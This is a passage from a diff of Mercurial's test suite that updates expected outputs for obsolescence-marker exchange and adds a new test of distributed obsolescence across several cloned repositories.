 bundling multiple revisions
@@ -432,6 +435,7 @@
   # unbundling: adding file changes
   # unbundling: added 3 changesets with 3 changes to 3 files (+1 heads)
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 chain with precursors also pruned
@@ -532,6 +536,7 @@
   # unbundling: adding file changes
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 1 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
   $ testrevs 'desc("C-A")'
@@ -571,6 +576,7 @@
   # unbundling: adding file changes
   # unbundling: added 2 changesets with 2 changes to 2 files (+1 heads)
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 chain with missing prune
@@ -653,6 +659,7 @@
   # unbundling: adding file changes
   # unbundling: added 1 changesets with 1 changes to 1 files
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg update' to get a working copy)
 
 chain with precursors also pruned
@@ -732,6 +739,7 @@
   # unbundling: adding file changes
   # unbundling: added 1 changesets with 1 changes to 1 files
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg update' to get a working copy)
 
 Chain with fold and split
@@ -971,6 +979,7 @@
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 6 new obsolescence markers
   # unbundling: obsoleted 3 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 Bundle multiple revisions
@@ -1072,6 +1081,7 @@
   # unbundling: added 2 changesets with 2 changes to 2 files (+2 heads)
   # unbundling: 7 new obsolescence markers
   # unbundling: obsoleted 2 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 * top one and initial precursors
@@ -1138,6 +1148,7 @@
   # unbundling: added 2 changesets with 2 changes to 2 files (+2 heads)
   # unbundling: 6 new obsolescence markers
   # unbundling: obsoleted 3 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 * top one and one of the split
@@ -1206,6 +1217,7 @@
   # unbundling: added 2 changesets with 2 changes to 2 files (+2 heads)
   # unbundling: 7 new obsolescence markers
   # unbundling: obsoleted 2 changesets
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 * all
@@ -1280,6 +1292,7 @@
   # unbundling: adding file changes
   # unbundling: added 5 changesets with 5 changes to 5 files (+4 heads)
   # unbundling: 9 new obsolescence markers
+  # unbundling: new changesets 2f20ff6509f0
   # unbundling: (run 'hg heads' to see heads)
 
 changeset pruned on its own
@@ -1381,4 +1394,5 @@
   # unbundling: adding file changes
   # unbundling: added 2 changesets with 2 changes to 2 files
   # unbundling: 1 new obsolescence markers
+  # unbundling: new changesets 9ac430e15fca
   # unbundling: (run 'hg update' to get a working copy)
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -3,7 +3,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
 
 Push does not corrupt remote
@@ -71,6 +71,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 1 files (+1 heads)
+  new changesets f89bcc95eba5
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 check that bundle is not affected
@@ -90,14 +91,14 @@
   $ hg bundle --hidden --rev f89bcc95eba5 --base "f89bcc95eba5^" ../f89bcc95eba5-obs.hg --config experimental.evolution.bundle-obsmarker=1
   1 changesets found
   $ hg debugbundle ../f89bcc95eba5.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       f89bcc95eba5174b1ccc3e33a82e84c96e8338ee
   $ hg debugbundle ../f89bcc95eba5-obs.hg
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       f89bcc95eba5174b1ccc3e33a82e84c96e8338ee
-  obsmarkers -- 'sortdict()'
+  obsmarkers -- {}
       version: 1 (70 bytes)
       9d73aac1b2ed7d53835eaeec212ed41ea47da53a f89bcc95eba5174b1ccc3e33a82e84c96e8338ee 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'}
 
@@ -123,6 +124,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets 96ee1d7354c4:6a29ed9c68de
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -149,12 +151,11 @@
   1 changesets found
   list of changesets:
   bec0734cd68e84477ba7fc1d13e6cff53ab70129
-  listing keys for "phases"
   listing keys for "bookmarks"
   bundle2-output-bundle: "HG20", 3 parts total
   bundle2-output-part: "changegroup" (params: 1 mandatory 1 advisory) streamed payload
-  bundle2-output-part: "listkeys" (params: 1 mandatory) 58 bytes payload
   bundle2-output-part: "listkeys" (params: 1 mandatory) empty payload
+  bundle2-output-part: "phase-heads" 24 bytes payload
   bundle2-input-bundle: with-transaction
   bundle2-input-part: "changegroup" (params: 1 mandatory 1 advisory) supported
   adding changesets
@@ -165,9 +166,10 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   bundle2-input-part: total payload size 476
   bundle2-input-part: "listkeys" (params: 1 mandatory) supported
-  bundle2-input-part: total payload size 58
-  bundle2-input-part: "listkeys" (params: 1 mandatory) supported
+  bundle2-input-part: "phase-heads" supported
+  bundle2-input-part: total payload size 24
   bundle2-input-bundle: 2 parts total
   checking for updated bookmarks
+  new changesets bec0734cd68e
   updating the branch cache
   (run 'hg heads' to see heads, 'hg merge' to merge)
diff --git a/tests/test-obsolete-checkheads.t b/tests/test-obsolete-checkheads.t
--- a/tests/test-obsolete-checkheads.t
+++ b/tests/test-obsolete-checkheads.t
@@ -6,7 +6,7 @@
   > [ui]
   > logtemplate='{node|short} ({phase}) {desc|firstline}\n'
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ mkcommit() {
   >    echo "$1" > "$1"
@@ -236,6 +236,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b4952fcf48cf
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd local
diff --git a/tests/test-obsolete-distributed.t b/tests/test-obsolete-distributed.t
new file mode 100644
--- /dev/null
+++ b/tests/test-obsolete-distributed.t
@@ -0,0 +1,487 @@
+=============================
+Test distributed obsolescence
+=============================
+
+This file test various cases where data (changeset, phase, obsmarkers) is
+added to the repository in a specific order. Usually, this order is unlikely
+to happen in the local case but can easily happen in the distributed case.
+
+  $ unset HGUSER
+  $ unset EMAIL
+  $ . $TESTDIR/testlib/obsmarker-common.sh
+  $ cat >> $HGRCPATH << EOF
+  > [extensions]
+  > rebase =
+  > [experimental]
+  > evolution = all
+  > [phases]
+  > publish = False
+  > [ui]
+  > logtemplate= {rev}:{node|short} {desc}{if(obsfate, " [{join(obsfate, "; ")}]")}\n
+  > EOF
+
+Check distributed chain building
+================================
+
+Test case where a changeset is marked as a successor of another local
+changeset while the successor has already been obsoleted remotely.
+
+The chain of evolution should seamlessly connect and all but the new version
+(created remotely) should be seen as obsolete.
+
+Initial setup
+
+  $ mkdir distributed-chain-building
+  $ cd distributed-chain-building
+  $ hg init server
+  $ cd server
+  $ cat << EOF >> .hg/hgrc
+  > [ui]
+  > username = server
+  > EOF
+  $ mkcommit ROOT
+  $ mkcommit c_A0
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkcommit c_A1
+  created new head
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkcommit c_B0
+  created new head
+  $ hg debugobsolete `getid 'desc("c_A0")'` `getid 'desc("c_A1")'`
+  obsoleted 1 changesets
+  $ hg log -G --hidden -v
+  @  3:e5d7dda7cd28 c_B0
+  |
+  | o  2:7f6b0a6f5c25 c_A1
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  $ cd ..
+
+duplicate the repo for the client:
+
+  $ cp -R server client
+  $ cat << EOF >> client/.hg/hgrc
+  > [paths]
+  > default = ../server/
+  > [ui]
+  > username = client
+  > EOF
+
+server side: create new revision on the server (obsoleting another one)
+
+  $ cd server
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ mkcommit c_B1
+  created new head
+  $ hg debugobsolete `getid 'desc("c_B0")'` `getid 'desc("c_B1")'`
+  obsoleted 1 changesets
+  $ hg log -G
+  @  4:391a2bf12b1b c_B1
+  |
+  | o  2:7f6b0a6f5c25 c_A1
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden -v
+  @  4:391a2bf12b1b c_B1
+  |
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
+  |/
+  | o  2:7f6b0a6f5c25 c_A1
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 391a2bf12b1b8b05a72400ae36b26d50a091dc22 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  $ cd ..
+
+client side: create a marker between two common changesets
+(client is not aware of the server activity yet)
+
+  $ cd client
+  $ hg debugobsolete `getid 'desc("c_A1")'` `getid 'desc("c_B0")'`
+  obsoleted 1 changesets
+  $ hg log -G
+  @  3:e5d7dda7cd28 c_B0
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden -v
+  @  3:e5d7dda7cd28 c_B0
+  |
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
+
+client side: pull from the server
+(the new successors should take over)
+
+  $ hg up 'desc("ROOT")'
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg pull
+  pulling from $TESTTMP/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files (+1 heads)
+  1 new obsolescence markers
+  obsoleted 1 changesets
+  new changesets 391a2bf12b1b
+  (run 'hg heads' to see heads)
+  $ hg log -G
+  o  4:391a2bf12b1b c_B1
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden -v
+  o  4:391a2bf12b1b c_B1
+  |
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
+  |/
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
+  |/
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
+  e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 391a2bf12b1b8b05a72400ae36b26d50a091dc22 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+
+server side: receive client push
+(the other way around, pushing to the server, the obsolete changesets stay
+obsolete on the server side but the marker is sent out.)
+
+  $ hg rollback
+  repository tip rolled back to revision 3 (undo pull)
+  $ hg push -f
+  pushing to $TESTTMP/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 0 changesets with 0 changes to 1 files
+  1 new obsolescence markers
+  obsoleted 1 changesets
+  $ hg -R ../server/ log -G
+  @  4:391a2bf12b1b c_B1
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg -R ../server/ log -G --hidden -v
+  @  4:391a2bf12b1b c_B1
+  |
+  | x  3:e5d7dda7cd28 c_B0 [rewritten as 4:391a2bf12b1b by server (at 1970-01-01 00:00 +0000)]
+  |/
+  | x  2:7f6b0a6f5c25 c_A1 [rewritten as 3:e5d7dda7cd28 by client (at 1970-01-01 00:00 +0000)]
+  |/
+  | x  1:e1b46f0f979f c_A0 [rewritten as 2:7f6b0a6f5c25 by server (at 1970-01-01 00:00 +0000)]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  e1b46f0f979f52748347ff8729c59f2ef56e6fe2 7f6b0a6f5c25345a83870963efd827c1798a5959 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'server'}
+  7f6b0a6f5c25345a83870963efd827c1798a5959 e5d7dda7cd28e6b3f79437e5b8122a38ece0255c 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'client'}
+  $ cd ..
+
+Check getting changesets after getting the markers
+=================================================
+
+This test case covers the scenario where commits are received -after- we
+received some obsolescence markers turning them obsolete.
+
+For example, we pull some successors from a repository (with associated
+predecessors marker chain) and then later we pull some intermediate
+precedessors changeset from another repository. Obsolescence markers must
+apply to the intermediate changeset. They have to be obsolete (and hidden).
+
+Avoiding pulling the changeset in the first place is a tricky decision because
+there could be non-obsolete ancestors that need to be pulled, but the
+discovery cannot currently find these (this is not the case in this tests). In
+addition, we could also have to pull the changeset because they have children.
+In this case, they would not be hidden (yet) because of the orphan descendant,
+but they would still have to be obsolete. (This is not tested in this case
+either).
+
+  $ mkdir distributed-chain-building
+  $ cd distributed-chain-building
+  $ hg init server
+  $ cd server
+  $ cat << EOF >> .hg/hgrc
+  > [ui]
+  > username = server
+  > EOF
+  $ mkcommit ROOT
+  $ cd ..
+  $ hg clone server repo-Alice
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF >> repo-Alice/.hg/hgrc
+  > [ui]
+  > username = alice
+  > EOF
+  $ hg clone server repo-Bob
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF >> repo-Bob/.hg/hgrc
+  > [ui]
+  > username = bob
+  > EOF
+  $ hg clone server repo-Celeste
+  updating to branch default
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF >> repo-Celeste/.hg/hgrc
+  > [ui]
+  > username = celeste
+  > EOF
+
+Create some changesets locally
+
+  $ cd repo-Alice
+  $ mkcommit c_A0
+  $ mkcommit c_B0
+  $ cd ..
+
+Bob pulls from Alice and rewrites them
+
+  $ cd repo-Bob
+  $ hg pull ../repo-Alice
+  pulling from ../repo-Alice
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 2 files
+  new changesets d33b0a3a6464:ef908e42ce65
+  (run 'hg update' to get a working copy)
+  $ hg up 'desc("c_A")'
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_A1'
+  $ hg rebase -r 'desc("c_B0")' -d . # no easy way to rewrite the message with the rebase
+  rebasing 2:ef908e42ce65 "c_B0"
+  $ hg up
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_B1'
+  $ hg log -G
+  @  5:956063ac4557 c_B1
+  |
+  o  3:5b5708a437f2 c_A1
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden -v
+  @  5:956063ac4557 c_B1
+  |
+  | x  4:5ffb9e311b35 c_B0 [rewritten using amend as 5:956063ac4557 by bob (at 1970-01-01 00:00 +0000)]
+  |/
+  o  3:5b5708a437f2 c_A1
+  |
+  | x  2:ef908e42ce65 c_B0 [rewritten using rebase as 4:5ffb9e311b35 by bob (at 1970-01-01 00:00 +0000)]
+  | |
+  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 3:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000)]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  $ cd ..
+
+Celeste pulls from Bob and rewrites them again
+
+  $ cd repo-Celeste
+  $ hg pull ../repo-Bob
+  pulling from ../repo-Bob
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 2 files
+  3 new obsolescence markers
+  new changesets 5b5708a437f2:956063ac4557
+  (run 'hg update' to get a working copy)
+  $ hg up 'desc("c_A")'
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_A2'
+  $ hg rebase -r 'desc("c_B1")' -d . # no easy way to rewrite the message with the rebase
+  rebasing 2:956063ac4557 "c_B1"
+  $ hg up
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m 'c_B2'
+  $ hg log -G
+  @  5:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden -v
+  @  5:77ae25d99ff0 c_B2
+  |
+  | x  4:3cf8de21cc22 c_B1 [rewritten using amend as 5:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000)]
+  |/
+  o  3:9866d64649a5 c_A2
+  |
+  | x  2:956063ac4557 c_B1 [rewritten using rebase as 4:3cf8de21cc22 by celeste (at 1970-01-01 00:00 +0000)]
+  | |
+  | x  1:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000)]
+  |/
+  o  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+
+Celeste now pushes to the server
+
+(note: it would be enough to just have direct Celeste -> Alice exchange here.
+However using a central server seems more common)
+
+  $ hg push
+  pushing to $TESTTMP/distributed-chain-building/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 2 changes to 2 files
+  6 new obsolescence markers
+  $ cd ..
+
+Now Alice pulls from the server, then from Bob
+
+Alice first retrieves the new evolution of its changesets and associated markers
+from the server (note: could be from Celeste directly)
+
+  $ cd repo-Alice
+  $ hg up 'desc(ROOT)'
+  0 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  $ hg pull
+  pulling from $TESTTMP/distributed-chain-building/distributed-chain-building/server (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 0 changes to 2 files (+1 heads)
+  6 new obsolescence markers
+  obsoleted 2 changesets
+  new changesets 9866d64649a5:77ae25d99ff0
+  (run 'hg heads' to see heads)
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+
+Then, she pulls from Bob, pulling predecessors of the changeset she has
+already pulled. The changesets are not obsoleted in the Bob repo yet. Their
+successors do not exist in Bob repository yet.
+
+  $ hg pull ../repo-Bob
+  pulling from ../repo-Bob
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 0 changes to 2 files (+1 heads)
+  (run 'hg heads' to see heads)
+  $ hg log -G
+  o  4:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+
+Same tests, but change coming from a bundle
+(testing with a bundle is interesting because absolutely no discovery or
+decision is made in that case, so receiving the changesets are not an option).
+
+  $ hg rollback
+  repository tip rolled back to revision 4 (undo pull)
+  $ hg log -G
+  o  4:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+  $ hg -R ../repo-Bob bundle ../step-1.hg
+  searching for changes
+  2 changesets found
+  $ hg unbundle ../step-1.hg
+  adding changesets
+  adding manifests
+  adding file changes
+  added 2 changesets with 0 changes to 2 files (+1 heads)
+  (run 'hg heads' to see heads)
+  $ hg log -G
+  o  4:77ae25d99ff0 c_B2
+  |
+  o  3:9866d64649a5 c_A2
+  |
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg log -G --hidden -v
+  x  6:956063ac4557 c_B1 [rewritten using amend, rebase as 4:77ae25d99ff0 by celeste (at 1970-01-01 00:00 +0000)]
+  |
+  x  5:5b5708a437f2 c_A1 [rewritten using amend as 3:9866d64649a5 by celeste (at 1970-01-01 00:00 +0000)]
+  |
+  | o  4:77ae25d99ff0 c_B2
+  | |
+  | o  3:9866d64649a5 c_A2
+  |/
+  | x  2:ef908e42ce65 c_B0 [rewritten using amend, rebase as 6:956063ac4557 by bob (at 1970-01-01 00:00 +0000)]
+  | |
+  | x  1:d33b0a3a6464 c_A0 [rewritten using amend as 5:5b5708a437f2 by bob (at 1970-01-01 00:00 +0000)]
+  |/
+  @  0:e82fb8d02bbf ROOT
+  
+  $ hg debugobsolete
+  3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 77ae25d99ff07889e181126b1171b94bec8e5227 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5b5708a437f27665db42c5a261a539a1bcb2a8c2 9866d64649a5d9c5991fe119c7b2c33898114e10 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'celeste'}
+  5ffb9e311b35f6ab6f76f667ca5d6e595645481b 956063ac4557828781733b2d5677a351ce856f59 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  956063ac4557828781733b2d5677a351ce856f59 3cf8de21cc2282186857d2266eb6b1f9cb85ecf3 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'celeste'}
+  d33b0a3a64647d79583526be8107802b1f9fedfa 5b5708a437f27665db42c5a261a539a1bcb2a8c2 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'bob'}
+  ef908e42ce65ef57f970d799acaddde26f58a4cc 5ffb9e311b35f6ab6f76f667ca5d6e595645481b 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'rebase', 'user': 'bob'}
+
+  $ cd ..
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -7,9 +7,9 @@
 
   $ cat >> $HGRCPATH << EOF
   > [ui]
-  > logtemplate = {rev}:{node|short} {desc}\n
+  > logtemplate = {rev}:{node|short} {desc}{if(obsfate, " [{join(obsfate, "; ")}]")}\n
   > [experimental]
-  > evolution=createmarkers
